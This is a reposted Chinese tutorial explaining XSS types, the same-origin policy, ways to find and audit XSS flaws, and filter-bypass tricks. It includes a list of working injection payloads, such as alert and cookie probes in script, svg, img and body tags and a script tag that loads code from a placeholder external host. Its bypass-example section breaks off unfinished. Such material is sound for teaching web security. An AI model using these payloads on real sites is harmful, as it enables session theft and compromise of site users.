0


XSS详解

xss原理

xss跨站脚本攻击,攻击者通过往web页面里插入恶意的script代码,当用户浏览页面时,嵌入web页面里的script代码就会被执行,从而达到攻击的目的。xss攻击是针对用户层面的。

xss分类

存储型,反射型,DOM型

存储型xss:存储型xss,持久化代码是存储在服务器中的
反射型xss:非持久化,需要欺骗用户自己去点击链接才能触发xss代码,一般容易出现在搜索界面。反射型xss大多数是用来盗取用户的cookie信息
DOM型xss:不经过后端,DOM-XSS漏洞基于文档对象模型的一种漏洞。是通过url传入参数去控制触发的。其实也属于反射型xss。

XSS能做什么

1、盗取Cookie并发送(用的最频繁的) , document.cookie —— 读取cookie,AJAX【核心是默认异步执行机制,依靠JS】发送数据
2、获取内网ip(攻击内网、扫描内网)
3、获取浏览器保存的明文密码
4、截取网页屏幕
5、网页上的键盘记录

检测XSS

<script>alert(1)</script>

XSS的常用语句,刷新之后若有弹窗,说明存在XSS。

XSS核心 —同源策略

同源策略:同域名|IP、同端口、同协议 。

浏览器的同源策略,认为同一个网站,访问同一个东西,限制了不同源的Js,对当前页面的资源和属性的权限。同源策略保护了a.com域名下的资源不被来自其他网页的脚本读取或篡改。

同源:

http://www.baidu.com
http://14.215.177.39

https://a.b.c
https://a.b.c/abc    

不同源

http://a.gyy.cn   => a.gyy.cn
http://b.gyy.cn   => b.gyy.cn

https://a.b.c  => https:       //443端口
http://a.b.c   => http:        //80端口

XSS攻击载荷

script标签

<script>alert("hello")</script>     #弹出hello
<script>alert(/hello/)</script>      #弹出hello
<script>alert(1)</script>              #弹出1,数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com.sxx.js></script>  #引用外部xss

svg标签

<svg onload=alert(1)>
<svg onload=alert(1)//  #所有的标签>都可以用//替换

img标签

<img src=1 onerror=alert("hello")>
<img src=1 onerror=alert(document.cookie)>

body标签

<body onload=alert("hello")>
<body onpageshow=alert(1)>

video标签

<video onloadstart=alert(1) src="/xx/xx"/>

style标签

<style onload=alert(1)></style>

XSS漏洞的挖掘

黑盒测试

尽可能找到用户可控并且能够输出在页面的地方,比如:url的参数,表单,搜索框

白盒测试(代码审计)

代码审计主要是从接受参数的地方和一些关键词入手。

例如:
接收参数的get,post进行跟踪,看看是否这些参数有在界面进行输出,在看这些输出在界面的数据是否进行了过滤和编码等。

关键词echo等输出语句,跟踪这些语句的来源,是否能够进行控制。取数据的时候是否进行了过滤或者编码等

审计DOM型注入的时候可以搜索一些js操作dom元素的词

XSS攻击过程

存储型xss

1、A 是个WEB站点,可以发布、浏览、评论文章
2、攻击者检测到A站点具有存储型XSS漏洞
3、攻击者在A站点上发布了具有恶意脚本的文章存入到服务器上
4、普通用户浏览攻击者发布的文章,恶意脚本就会执行
5、恶意脚本执行后,攻击者就可以对浏览器该页面的用户发动xss攻击

数据流向:客户端->服务端->数据库->服务端->客户端

标题反射型xss:

1、A通过用户名/密码登录一个网站,此网站存储了A的敏感信息(用户名,密码,身份证等信息)
2、攻击者发现此网站存在xss反射型漏洞
3、攻击者编写了恶意脚本做成链接诱导A点击
4、A浏览了攻击者的链接恶意脚本在A的浏览器中执行,就窃取了A的敏感信息,然后再A不知情的情况下将信息发送给攻击者

数据流向:客户端->服务端->客户端

DOM型xss

数据流向:客户端->浏览器

XSS绕过技巧

大小写绕过
关键字嵌套绕过
使用过滤之外的关键字

示例:

### G

标签: xss 安全 前端

本文转载自: https://blog.csdn.net/qq_39511050/article/details/126870391
版权归原作者 火腿肠 所有, 如有侵权,请联系我们删除。

“XSS详解”的评论:

还没有评论